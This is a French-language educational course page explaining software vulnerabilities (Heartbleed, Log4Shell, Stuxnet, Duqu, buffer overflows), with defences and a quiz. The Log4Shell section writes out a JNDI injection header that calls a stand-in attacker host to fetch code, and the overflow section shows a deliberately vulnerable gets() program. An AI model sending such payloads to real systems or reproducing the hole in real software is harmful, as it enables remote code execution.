Skip to main content

Vulnérabilités logicielles

Introduction

Après avoir exploré les attaques réseau, revenons sur un aspect fondamental de la sécurité informatique : les vulnérabilités logicielles. Ces failles, présentes dans les logiciels que nous utilisons au quotidien, sont des portes d'entrée potentielles pour les cybercriminels.

note

Aucun logiciel n'est parfait. Même les logiciels les plus populaires et les plus utilisés contiennent des erreurs de programmation, des défauts de conception, ou des configurations incorrectes qui peuvent être exploités par des attaquants.

Dans cette section, nous allons découvrir :

  • Ce qu'est une vulnérabilité logicielle et comment elle peut être exploitée.
  • Le concept de vulnérabilité "zero-day" et les risques associés.
  • Un exemple concret de vulnérabilité : le débordement de tampon (buffer overflow).

Comprendre les vulnérabilités logicielles est essentiel pour développer des applications plus sûres, pour sécuriser les systèmes existants, et pour adopter les bonnes pratiques en matière de sécurité informatique.

Commençons par définir ce qu'est une vulnérabilité logicielle.

Exploitation de failles connues

Une vulnérabilité logicielle est une faiblesse dans un logiciel (application, système d'exploitation, bibliothèque, etc.) qui peut être exploitée par un attaquant pour compromettre la sécurité du système.

Qu'est-ce qu'une faille de sécurité ?

Une faille de sécurité (ou vulnérabilité) peut résulter de :

  • Erreurs de programmation (bugs) : Des erreurs dans le code source du logiciel, qui peuvent provoquer un comportement inattendu ou permettre à un attaquant d'injecter du code malveillant.
  • Défauts de conception : Des choix de conception qui rendent le logiciel vulnérable (par exemple, un protocole de communication non sécurisé).
  • Mauvaises configurations : Des paramètres de sécurité mal configurés (par exemple, un mot de passe par défaut laissé inchangé).
  • Manque de validation des entrées : Le logiciel ne vérifie pas correctement les données saisies par l'utilisateur, ce qui peut permettre des attaques par injection (SQL, XSS, etc.).

Comment une faille est-elle exploitée ?

Lorsqu'une vulnérabilité est découverte, elle est généralement signalée à l'éditeur du logiciel, qui publie un correctif (patch) pour la corriger. Cependant, entre le moment où la vulnérabilité est découverte et le moment où les utilisateurs appliquent le correctif, il existe une fenêtre d'opportunité pour les attaquants.

  1. Découverte de la vulnérabilité : La vulnérabilité peut être découverte par des chercheurs en sécurité, par l'éditeur du logiciel, ou par des cybercriminels.
  2. Publication (éventuelle) de la vulnérabilité : Si la vulnérabilité est découverte par un chercheur en sécurité ou par l'éditeur, elle est généralement signalée à l'éditeur et, après un certain délai (pour permettre le développement d'un correctif), elle peut être rendue publique (par exemple, sur des sites web spécialisés ou dans des bases de données de vulnérabilités).
  3. Développement d'un exploit : Un exploit est un programme ou un code qui tire parti de la vulnérabilité pour compromettre le système. Les exploits peuvent être développés par des chercheurs en sécurité (pour prouver la dangerosité de la vulnérabilité), mais aussi par des cybercriminels.
  4. Utilisation de l'exploit : Les cybercriminels utilisent l'exploit pour attaquer les systèmes vulnérables (par exemple, en l'intégrant à un malware, en l'envoyant par email, ou en l'utilisant sur un site web compromis).
  5. Application du correctif : Les utilisateurs (ou les administrateurs système) appliquent le correctif publié par l'éditeur, ce qui élimine la vulnérabilité.

Exemples de failles connues et exploitées

CVE-2014-0160 (Heartbleed)

  • Nom : Heartbleed (littéralement "cœur qui saigne").

  • Logiciel affecté : OpenSSL, une bibliothèque cryptographique open source très largement utilisée pour implémenter les protocoles SSL/TLS (utilisés pour HTTPS, entre autres).

  • Versions affectées : OpenSSL 1.0.1 à 1.0.1f (inclus).

  • Type de vulnérabilité : Fuite de mémoire (divulgation d'informations).

  • Description technique : La vulnérabilité se situait dans l'extension "Heartbeat" (battement de cœur) d'OpenSSL, qui permet à un client et à un serveur de vérifier si la connexion est toujours active. Un attaquant pouvait envoyer une requête Heartbeat malformée au serveur, qui répondait en renvoyant une partie de sa mémoire (jusqu'à 64 Ko). Cette partie de la mémoire pouvait contenir des informations sensibles, comme :

    • La clé privée du serveur (permettant de déchiffrer toutes les communications avec ce serveur).
    • Des identifiants et mots de passe d'utilisateurs.
    • Des données de session (cookies, etc.).
    • Des données personnelles.
  • Impact : Heartbleed a été une vulnérabilité extrêmement grave, car :

    • Elle affectait un très grand nombre de serveurs web (estimé à plus de 500 000 à l'époque).
    • Elle était facile à exploiter.
    • Elle permettait de voler des informations très sensibles, y compris la clé privée du serveur (ce qui compromet toutes les communications passées et futures avec ce serveur).
    • Elle ne laissait pas de traces dans les logs (journaux d'événements) du serveur.
  • Découverte : La vulnérabilité a été découverte indépendamment par des chercheurs de Google Security et de l'entreprise de sécurité finlandaise Codenomicon en avril 2014.

  • Leçons à retenir :

    • Même les logiciels open source, largement utilisés et audités, peuvent contenir des failles critiques.
    • La gestion des vulnérabilités et l'application rapide des correctifs sont essentielles.
    • Une seule vulnérabilité peut avoir des conséquences massives.

CVE-2021-44228 (Log4Shell)

  • Nom : Log4Shell.

  • Logiciel affecté : Apache Log4j 2, une bibliothèque Java très populaire pour la journalisation (logging) des événements dans les applications.

  • Versions affectées : Log4j 2.0-beta9 à 2.14.1 (inclus).

  • Type de vulnérabilité : Exécution de code arbitraire à distance (RCE).

  • Description technique : La vulnérabilité se situait dans la fonctionnalité de recherche JNDI (Java Naming and Directory Interface) de Log4j. Si une application Log4j journalisait une chaîne de caractères contrôlée par un attaquant (par exemple, une entrée dans un formulaire web, un en-tête HTTP, etc.) et que cette chaîne contenait une expression JNDI malveillante, Log4j pouvait se connecter à un serveur distant (contrôlé par l'attaquant) et exécuter du code arbitraire.

    • Exemple d'attaque : Un attaquant pouvait envoyer une requête HTTP contenant l'en-tête suivant :
      User-Agent: ${jndi:ldap://attaquant.com/exploit}
      Si l'application utilisait Log4j pour journaliser l'en-tête User-Agent, Log4j interprétait l'expression JNDI, se connectait au serveur attaquant.com, téléchargeait et exécutait le code malveillant.
  • Impact : Log4Shell a été considérée comme l'une des vulnérabilités les plus graves de l'histoire récente, car :

    • Elle affectait un très grand nombre d'applications et de systèmes (des millions, voire des milliards). Log4j est utilisé dans de nombreux logiciels d'entreprise, des services cloud, des applications web, des systèmes embarqués, etc.
    • Elle était extrêmement facile à exploiter (une simple chaîne de caractères suffisait).
    • Elle permettait une exécution de code arbitraire à distance, ce qui donnait à l'attaquant un contrôle total sur le système vulnérable.
  • Découverte : La vulnérabilité a été signalée à Apache par l'équipe de sécurité d'Alibaba Cloud en novembre 2021. Elle a été rendue publique en décembre 2021.

  • Leçons à retenir :

    • La sécurité de la chaîne d'approvisionnement logicielle est cruciale. Une vulnérabilité dans une bibliothèque tierce, même petite et peu connue, peut avoir des conséquences catastrophiques.
    • Il est essentiel d'avoir une bonne visibilité sur les composants logiciels utilisés dans ses applications.
    • La validation des entrées et la méfiance envers les données externes sont des principes fondamentaux de sécurité.
    • Une réponse rapide et coordonnée est essentielle en cas de découverte d'une vulnérabilité majeure.
warning

Heartbleed et Log4Shell sont deux exemples marquants de vulnérabilités logicielles qui ont eu un impact mondial. Ils soulignent l'importance de la sécurité logicielle, de la gestion des vulnérabilités, et de la vigilance constante face aux cybermenaces.

Pourquoi les failles connues sont-elles encore exploitées ?

Même si un correctif est disponible, de nombreux systèmes restent vulnérables pendant longtemps, pour plusieurs raisons :

  • Négligence : Les utilisateurs ou les administrateurs système ne mettent pas à jour leurs logiciels régulièrement.
  • Manque de sensibilisation : Les utilisateurs ne sont pas conscients des risques liés aux vulnérabilités logicielles.
  • Complexité : La mise à jour des logiciels peut être complexe, en particulier dans les grandes organisations avec de nombreux systèmes et applications différents.
  • Compatibilité : Certains logiciels anciens peuvent ne plus être compatibles avec les dernières versions des systèmes d'exploitation, ce qui rend les mises à jour difficiles, voire impossibles.
  • Systèmes embarqués et objets connectés : De nombreux appareils (routeurs, caméras de surveillance, systèmes industriels, etc.) ne sont pas mis à jour régulièrement, voire pas du tout.
warning

L'exploitation de failles connues est l'une des principales causes de cyberattaques. Il est crucial de mettre à jour régulièrement ses logiciels et ses systèmes pour se protéger contre ces attaques.

Zero-day exploits

Les "zero-day exploits" (ou exploits zero-day) sont des attaques qui exploitent des vulnérabilités logicielles inconnues de l'éditeur du logiciel ou pour lesquelles il n'existe pas encore de correctif.

Qu'est-ce qu'une vulnérabilité "zero-day" ?

Une vulnérabilité "zero-day" (ou faille zero-day) est une faille de sécurité qui :

  • N'a pas encore été découverte par l'éditeur du logiciel, ou
  • A été découverte, mais n'a pas encore été corrigée (pas de patch disponible), ou
  • A été corrigée, mais le correctif n'est pas encore largement diffusé.

Le terme "zero-day" (littéralement "jour zéro") fait référence au fait que l'éditeur du logiciel a eu "zéro jour" pour réagir et corriger la faille avant qu'elle ne soit exploitée.

Pourquoi les zero-day exploits sont-ils si dangereux ?

  • Pas de protection immédiate : Comme il n'existe pas de correctif, les systèmes vulnérables sont exposés aux attaques sans aucune protection.
  • Effet de surprise : Les attaques zero-day prennent les utilisateurs et les administrateurs système par surprise, car ils ne sont pas conscients de la vulnérabilité.
  • Valeur élevée pour les cybercriminels : Les exploits zero-day sont très prisés par les cybercriminels (et par les agences de renseignement), car ils permettent de compromettre des systèmes qui seraient autrement bien protégés.
  • Difficulté de détection : Les attaques zero-day peuvent être difficiles à détecter, car elles utilisent des techniques d'attaque inconnues des antivirus et des autres solutions de sécurité.

Le marché des zero-day exploits

Il existe un véritable marché (légal et illégal) des zero-day exploits.

  • Marché légal : Des entreprises spécialisées dans la recherche de vulnérabilités (bug bounty programs) récompensent les chercheurs qui découvrent des failles zero-day. Les éditeurs de logiciels peuvent également acheter des exploits zero-day pour améliorer la sécurité de leurs produits.
  • Marché gris : Des intermédiaires achètent des exploits zero-day à des chercheurs et les revendent à des gouvernements ou à des entreprises privées.
  • Marché noir : Des cybercriminels achètent et vendent des exploits zero-day sur le dark web, pour les utiliser dans des attaques ou pour les revendre à d'autres criminels.

Exemples d'attaques zero-day

Stuxnet (2010)

  • Cible : Systèmes de contrôle industriels (SCADA) Siemens, utilisés notamment pour contrôler les centrifugeuses du programme nucléaire iranien.

  • Objectif : Saboter le programme nucléaire iranien en endommageant les centrifugeuses utilisées pour l'enrichissement de l'uranium.

  • Type de malware : Ver informatique (worm).

  • Vulnérabilités zero-day exploitées :

    • Quatre vulnérabilités zero-day de Windows :
      • Vulnérabilité dans le service d'impression (spooler) de Windows (CVE-2010-2729).
      • Vulnérabilité dans le traitement des raccourcis LNK (CVE-2010-2568).
      • Deux vulnérabilités d'élévation de privilèges (CVE-2010-2743 et une autre non documentée).
    • Vulnérabilités dans les logiciels Siemens (Step 7, WinCC) utilisés pour programmer les automates programmables industriels (API/PLC).
  • Mode de propagation :

    • Principalement via des clés USB infectées.
    • Propagation sur le réseau local via les vulnérabilités de Windows.
  • Fonctionnement (simplifié) :

    1. Infection initiale : Stuxnet infectait un ordinateur Windows (par exemple, via une clé USB).
    2. Propagation : Il se propageait sur le réseau local en exploitant les vulnérabilités de Windows.
    3. Recherche de cibles : Il recherchait les logiciels Siemens Step 7 (utilisés pour programmer les automates).
    4. Injection de code : S'il trouvait Step 7, il injectait du code malveillant dans les projets de programmation des automates.
    5. Modification du comportement des automates : Le code malveillant modifiait la vitesse de rotation des centrifugeuses, les faisant vibrer et se détériorer.
    6. Dissimulation : Stuxnet masquait ses actions en falsifiant les données renvoyées par les capteurs, faisant croire que tout fonctionnait normalement.
  • Impact :

    • Stuxnet a endommagé environ 1000 centrifugeuses iraniennes, retardant le programme nucléaire du pays.
    • Il a été considéré comme la première cyberarme de destruction massive.
  • Leçons à retenir :

    • Les systèmes industriels, même non connectés à Internet, peuvent être vulnérables à des attaques sophistiquées.
    • Les clés USB et autres supports amovibles peuvent être des vecteurs d'infection importants.
    • Les attaques zero-day peuvent avoir des conséquences géopolitiques majeures.

Duqu (2011) et Duqu 2.0 (2015)

  • Cibles : Diverses organisations (entreprises, gouvernements, etc.) dans plusieurs pays.

  • Objectif : Espionnage et vol d'informations.

  • Type de malware : Cheval de Troie (Trojan) et virus.

  • Vulnérabilités zero-day exploitées :

    • Duqu (2011) : Vulnérabilité dans la gestion des polices TrueType de Windows (CVE-2011-3402).
    • Duqu 2.0 (2015) : Au moins trois vulnérabilités zero-day de Windows, dont une permettant l'élévation de privilèges (CVE-2015-2360) et une autre permettant l'installation de pilotes malveillants (non documentée).
  • Fonctionnement (simplifié) :

    • Duqu (2011) :
      1. Infection initiale (souvent via un document Word piégé exploitant la vulnérabilité zero-day).
      2. Installation d'un keylogger et d'autres outils d'espionnage.
      3. Collecte d'informations (documents, emails, identifiants, etc.).
      4. Exfiltration des données vers des serveurs de commande et de contrôle (C&C).
    • Duqu 2.0 (2015) :
      • Similaire à Duqu, mais encore plus sophistiqué et furtif.
      • Résidait entièrement en mémoire (pas d'écriture sur le disque dur), ce qui le rendait plus difficile à détecter.
  • Impact :

    • Vol d'informations sensibles (secrets industriels, données gouvernementales, etc.).
    • Duqu 2.0 a notamment été utilisé pour espionner les négociations sur le nucléaire iranien et pour attaquer l'entreprise de sécurité Kaspersky Lab.
  • Leçons à retenir :

    • Les attaques zero-day peuvent être utilisées à des fins d'espionnage ciblé.
    • Les entreprises de sécurité elles-mêmes peuvent être des cibles.
    • Les techniques d'évasion des malwares deviennent de plus en plus sophistiquées.

Attaques contre des navigateurs web

  • Cibles : Les navigateurs web (Chrome, Firefox, Edge, Safari, etc.) sont des cibles fréquentes, car :

    • Ils sont largement utilisés.
    • Ils traitent des données sensibles (identifiants, données bancaires, etc.).
    • Ils sont complexes et contiennent souvent des vulnérabilités.
  • Types de vulnérabilités :

    • Vulnérabilités dans le moteur de rendu JavaScript (par exemple, V8 pour Chrome).
    • Vulnérabilités dans le traitement des images, des vidéos, ou d'autres types de contenu.
    • Vulnérabilités dans les extensions de navigateur.
  • Mode d'attaque :

    • Drive-by download : L'utilisateur visite un site web compromis (ou un site web légitime qui affiche une publicité malveillante), et le navigateur est attaqué sans que l'utilisateur n'ait à cliquer sur quoi que ce soit.
    • Exploitation de failles dans les plugins : Si l'utilisateur a un plugin obsolète ou vulnérable (par exemple, une ancienne version de Flash), un attaquant peut l'exploiter pour exécuter du code malveillant.
  • Conséquences :

    • Installation de malwares (ransomwares, spywares, etc.).
    • Vol d'identifiants et de données bancaires.
    • Prise de contrôle de l'ordinateur.
    • Injection de publicités malveillantes.
  • Exemple (parmi tant d'autres) :

    • En 2021, une vulnérabilité zero-day dans Google Chrome (CVE-2021-21166) a été activement exploitée par des attaquants avant qu'un correctif ne soit disponible.
  • Leçons à retenir

    • Il est important de mettre à jour son navigateur.

Comment se protéger contre les attaques zero-day ?

Il est impossible de se protéger complètement contre les attaques zero-day, car par définition, il n'existe pas de correctif. Cependant, certaines mesures peuvent réduire les risques :

  • Défense en profondeur : Mettre en place plusieurs couches de sécurité (pare-feu, antivirus, IDS, etc.) pour rendre l'exploitation d'une vulnérabilité plus difficile.
  • Analyse comportementale : Utiliser des solutions de sécurité qui analysent le comportement des logiciels et des utilisateurs pour détecter les activités suspectes, même si elles ne correspondent pas à des signatures de malwares connus.
  • Sandboxing : Exécuter les fichiers ou les applications suspects dans un environnement isolé (sandbox) pour observer leur comportement sans risquer d'infecter le système.
  • Gestion des privilèges : Appliquer le principe du moindre privilège (ne donner aux utilisateurs et aux applications que les droits d'accès dont ils ont besoin) pour limiter les dégâts en cas d'attaque réussie.
  • Veille en sécurité : Se tenir informé des dernières découvertes en matière de vulnérabilités et d'attaques zero-day, pour pouvoir réagir rapidement en cas de besoin.
  • Mises à jour de sécurité les plus rapides possible
    • La rapidité d'application d'un correctif de sécurité réduit les risques et l'exposition.
warning

Les attaques zero-day sont une menace sérieuse et sophistiquée. Elles montrent que la sécurité informatique est une course permanente entre les attaquants et les défenseurs, et qu'il est impossible de garantir une sécurité à 100%.

Exemples : Buffer Overflow

Le débordement de tampon (buffer overflow) est un type de vulnérabilité logicielle très courant, qui existe depuis les débuts de l'informatique. Il est important de comprendre son fonctionnement, car il illustre bien les dangers des erreurs de programmation et les techniques utilisées par les attaquants.

Qu'est-ce qu'un tampon (buffer) ?

En informatique, un tampon (buffer) est une zone de mémoire temporaire utilisée pour stocker des données. Par exemple, lorsqu'un programme lit un fichier, il peut stocker une partie du contenu du fichier dans un tampon pour le traiter.

  • Taille fixe : Un tampon a généralement une taille fixe, déterminée lors de sa création.

Qu'est-ce qu'un débordement de tampon (buffer overflow) ?

Un débordement de tampon se produit lorsqu'un programme écrit plus de données dans un tampon que celui-ci ne peut en contenir. Les données excédentaires "débordent" et écrasent les zones de mémoire adjacentes.

  • Conséquences :
    • Crash du programme : Le débordement de tampon peut provoquer un plantage du programme, car il corrompt des données essentielles à son fonctionnement.
    • Exécution de code arbitraire : Un attaquant peut exploiter un débordement de tampon pour injecter du code malveillant dans la mémoire du programme et le faire exécuter. C'est la conséquence la plus grave.

Comment un débordement de tampon peut-il être exploité ?

Un attaquant peut exploiter un débordement de tampon pour prendre le contrôle d'un programme vulnérable. Voici comment, en simplifiant :

  1. Identification de la vulnérabilité : L'attaquant identifie un programme qui présente une vulnérabilité de type débordement de tampon (par exemple, en analysant le code source du programme, s'il est disponible, ou en utilisant des outils d'analyse automatisée).
  2. Préparation du code malveillant (shellcode) : L'attaquant écrit un petit programme (appelé "shellcode") qui effectuera les actions malveillantes (par exemple, ouvrir une connexion réseau vers l'ordinateur de l'attaquant, exécuter une commande système, etc.).
  3. Injection du code malveillant : L'attaquant envoie au programme vulnérable des données spécialement conçues pour provoquer un débordement de tampon et remplacer une partie de la mémoire du programme par son shellcode.
  4. Détournement de l'exécution : L'attaquant modifie l'adresse de retour d'une fonction (l'adresse à laquelle le programme doit revenir après avoir exécuté la fonction) pour qu'elle pointe vers son shellcode. Ainsi, au lieu de revenir à l'endroit prévu, le programme exécute le code malveillant.

Exemple (très simplifié)

Imaginons un programme C qui utilise la fonction gets() pour lire une chaîne de caractères saisie par l'utilisateur et la stocker dans un tampon de 10 octets :

#include <stdio.h>
#include <string.h>

int main() {
char buffer[10];
gets(buffer); // La fonction gets() est DANGEREUSE et ne doit JAMAIS être utilisée !
printf("Vous avez saisi : %s\n", buffer);
return 0;
}

La fonction gets() est dangereuse, car elle ne vérifie pas la taille de la chaîne saisie par l'utilisateur. Si l'utilisateur saisit une chaîne de plus de 10 caractères, il y aura un débordement de tampon.

Un attaquant pourrait exploiter cette vulnérabilité en saisissant une chaîne spécialement conçue, contenant :

  1. Des caractères de remplissage pour remplir le tampon.
  2. Le shellcode (le code malveillant).
  3. L'adresse mémoire à laquelle le programme doit sauter pour exécuter le shellcode.

Comment se protéger contre les débordements de tampon ?

  • Ne jamais utiliser de fonctions non sécurisées : En C/C++, éviter les fonctions comme gets(), strcpy(), strcat(), sprintf() sans contrôle de la taille des données. Utiliser plutôt leurs versions sécurisées (fgets(), strncpy(), strncat(), snprintf(), etc.).
  • Validation des entrées : Vérifier la taille et le contenu des données saisies par l'utilisateur avant de les stocker dans un tampon.
  • Utiliser des langages de programmation plus sûrs : Des langages comme Java, Python ou C# gèrent automatiquement la mémoire et sont moins sujets aux débordements de tampon (mais pas immunisés contre d'autres types de vulnérabilités).
  • Activer les protections du système d'exploitation : Les systèmes d'exploitation modernes (Windows, macOS, Linux) intègrent des protections contre les débordements de tampon, comme :
    • ASLR (Address Space Layout Randomization) : Rend l'adresse des zones de mémoire aléatoire, ce qui rend plus difficile pour l'attaquant de prédire où se trouvera son shellcode.
    • DEP (Data Execution Prevention) / NX (No-eXecute) : Empêche l'exécution de code dans certaines zones de mémoire (comme la pile), ce qui rend plus difficile l'exécution du shellcode.
  • Utiliser des outils d'analyse statique : Ces outils analysent le code source d'un programme pour détecter les erreurs de programmation potentielles, y compris les débordements de tampon.
  • Utiliser des outils d'analyse dynamique : Ces outils surveillent l'exécution d'un programme pour détecter les débordements de tampon et autres erreurs d'exécution.
warning

Le débordement de tampon est une vulnérabilité classique, mais toujours d'actualité. Il est essentiel de comprendre son fonctionnement et de mettre en place les mesures de protection appropriées pour développer des logiciels plus sûrs et sécuriser les systèmes existants.

Testez vos connaissances !

Qu'est-ce qu'une vulnérabilité logicielle ? (Plusieurs réponses possibles)
Comment une faille de sécurité peut-elle être exploitée ? (Plusieurs réponses possibles)
Vrai ou Faux : Entre la découverte d'une vulnérabilité et l'application d'un correctif, il n'y a aucun risque pour les utilisateurs.
Qu'est-ce qui caractérise une vulnérabilité 'zero-day' ? (Plusieurs réponses possibles)
Laquelle de ces vulnérabilités a affecté la librairie OpenSSL
Quel est l'impact principal de la vulnérabilité Log4Shell ? (Plusieurs réponses possibles)
Pourquoi les failles connues sont-elles encore exploitées, même après la publication de correctifs ? (Plusieurs réponses possibles)
Qu'est-ce qu'un débordement de tampon (buffer overflow) ?
Comment peut-on se protéger contre les débordement de tampon? (Plusieurs réponses possibles)
Vrai ou faux: Il est impossible de mitiger complètement le risque d'attaques de type Zero-day